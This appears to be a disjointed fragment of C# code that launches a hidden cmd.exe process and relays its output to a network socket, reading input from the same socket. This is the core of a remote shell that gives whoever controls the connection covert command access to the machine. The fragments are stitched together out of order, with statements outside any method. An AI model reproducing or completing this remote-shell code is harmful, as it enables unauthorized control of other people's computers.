Process process = new Process();
        process.StartInfo.FileName = "cmd.exe";
        process.StartInfo.UseShellExecute = false;
        process.StartInfo.RedirectStandardInput = true;
        process.StartInfo.RedirectStandardOutput = true;
        process.StartInfo.RedirectStandardError = true;
        process.StartInfo.CreateNoWindow = true;


        process.OutputDataReceived += new DataReceivedEventHandler(p_OutputDataReceived);
        process.ErrorDataReceived += new DataReceivedEventHandler(p_ErrorDataReceived);

static void p_OutputDataReceived(object sender, DataReceivedEventArgs e)
    {
        if (!String.IsNullOrEmpty(e.Data))
        {
            socketInput.WriteLine(e.Data);
            socketInput.Flush();
        }
    }

socketInput = new StreamWriter(client.GetStream());
socketOutput = new StreamReader(client.GetStream());